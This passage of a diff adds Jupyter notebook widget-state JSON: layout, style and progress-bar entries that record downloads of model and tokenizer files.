+              "IPY_MODEL_8cec2e55fc3542789938c24adb050ca9",
+              "IPY_MODEL_5248a6e5d8044c53803426afaf2439af"
+            ],
+            "layout": "IPY_MODEL_10ae3f8453744a7e9737a9a0914dfeab"
+          }
+        },
+        "ec7bdbec2fc342f38039b8420a162a25": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ec96bfae8c9c48e5827755ce0e8a885f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ecc46cbc78fe4d9f8af50970839d3891": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ed79049f4f3a41899ce7744c6733bf27": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "edaf046faeb8459bbe937cae180bfc4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8cb0f3ae820947a5984dd422b33776dd",
+              "IPY_MODEL_ea6ed2a4fd9c49579f25b2f0e9af3f3c",
+              "IPY_MODEL_41b442152042436ea0703d3c1181824d"
+            ],
+            "layout": "IPY_MODEL_f3af911e563d47eca89517bdc434c911"
+          }
+        },
+        "ede9d9c5d44146849e44c3b1476299eb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d8424b9018444e088fe5908db8a9db12",
+              "IPY_MODEL_f00bbbb986ed49e79560422ba4c379c8",
+              "IPY_MODEL_108208309c4b47aa8eee3a1321fc81ed"
+            ],
+            "layout": "IPY_MODEL_d0c00b0f105741f9a155e941dd5d704f"
+          }
+        },
+        "ee7d2281e6964da8a3e610343a7de76d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee848051813f401c958c169f8b77a323": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ee9448f0b9964d8fad850501e08e3c84": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_93df8bff634740a29f3820042d69347f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_373d310d37454a409b53c30e7d7d1de5",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "ef977ff25ba842c9a0475befc7b47b89": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f00bbbb986ed49e79560422ba4c379c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2a8de4ddaf4747ceb0a153851cd765ca",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c3e33bee752849c692d00ceabd561feb",
+            "value": 524619
+          }
+        },
+        "f02818f8f3d54f72961c51e8fe526dc2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f05ad5aa13a040609336f0d6b2580be2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f0a064bb91524f01972e941a3bd7354d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f0ddc614bd9a40468c083db3a457e1c1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a27de7fc1bfa486f9ff8829d4d4198f6",
+              "IPY_MODEL_47507d2cf4e04f2f927ee369c6d7b4d4",
+              "IPY_MODEL_e11151541738459ba16b582a9edefd2c"
+            ],
+            "layout": "IPY_MODEL_33c23b5b6adf403dba45e9f8e64e37dc"
+          }
+        },
+        "f16aa25f9d2b49cc87cde26cf7dc316f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f17e8c0187db4242af4a803aed44fde9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f18d3449a23c485a85e38f0ced810c99": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f1a22eae63cb4eb982a02ccd11422014": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f1e983f41294422087b5be9a9df11fa3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f1f865efa3a6448ea9c930a1f08c50bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f2241131e8d54c1f9e8976b94b46bc67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f2ec0ba35adb4084b2ef73e4d384f6fd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9ef7b0ea4e4e46b18953056deaa6cf95",
+            "max": 13,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2d76832bc7834ef6b683ef6829f83861",
+            "value": 13
+          }
+        },
+        "f357992a28754d7689721ebda28f0b0f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3af911e563d47eca89517bdc434c911": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3be39d3186448afb9d851b9732df52b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f48a988402a947a098ed14bfd0dc9a53": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f48bc2b8666b4e48a6f8cad4cda2530d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f4accfef05c24411bbd0fae1f7fbf7cb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_aafa0b9b142a44f79368f411710ea55c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2aeb8135603c46c1aa80e2c3580b897f",
+            "value": " 3.44G/3.44G [00:26&lt;00:00, 237MB/s]"
+          }
+        },
+        "f566fa59f127470087bb68beea6ee8fb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2fa71efbdefa4607b37d985b272fcffa",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e20f4ef3c100484cae5ba0a570be604c",
+            "value": 20
+          }
+        },
+        "f5e6af9d73ed4f3d9726bffba48540ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0a6ed397228f4a1fafe9dfecc4c39ef6",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e2eaf1b78df545feb426d75ec556f8a3",
+            "value": " 541/541 [00:00&lt;00:00, 13.4kB/s]"
+          }
+        },
+        "f61abe945b124e31a72254333f26c785": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b1da7b0efaaf4db4a7660bc5457f2bfa",
+              "IPY_MODEL_3e55680d33db47099479572d0c8915f2",
+              "IPY_MODEL_c48ca8b557154fac885edaebc4879321"
+            ],
+            "layout": "IPY_MODEL_d4c261dab25d405ba560d4626683bccb"
+          }
+        },
+        "f66573653707458f80b29a40e1193d31": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f7dd7600e3374757bdb1dad3d2e29d4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dffc9bcfd178487e93b34f91eae3b8e8",
+              "IPY_MODEL_7016696c087c4b3d85d5928cca064add",
+              "IPY_MODEL_f4accfef05c24411bbd0fae1f7fbf7cb"
+            ],
+            "layout": "IPY_MODEL_941873b1d19b4c2da615ed461fc6cbc7"
+          }
+        },
+        "f81e6ba8c0ee4d19afc1691be3650a94": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e1877e0c82a1464597250ef0572d2679",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3005ddef183645cbb3039da2a621ebf4",
+            "value": " 1.45G/1.45G [00:05&lt;00:00, 196MB/s]"
+          }
+        },
+        "f8b042b72ea1403284bc45b55cbfcdcf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5cbe59686c0d475a8e2274ffcb64d992",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3bf3dd9f53354c758187674b5b1eac19",
+            "value": "100%"
+          }
+        },
+        "f8dbc4c64a0d440e9660b0d7ef083b5c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
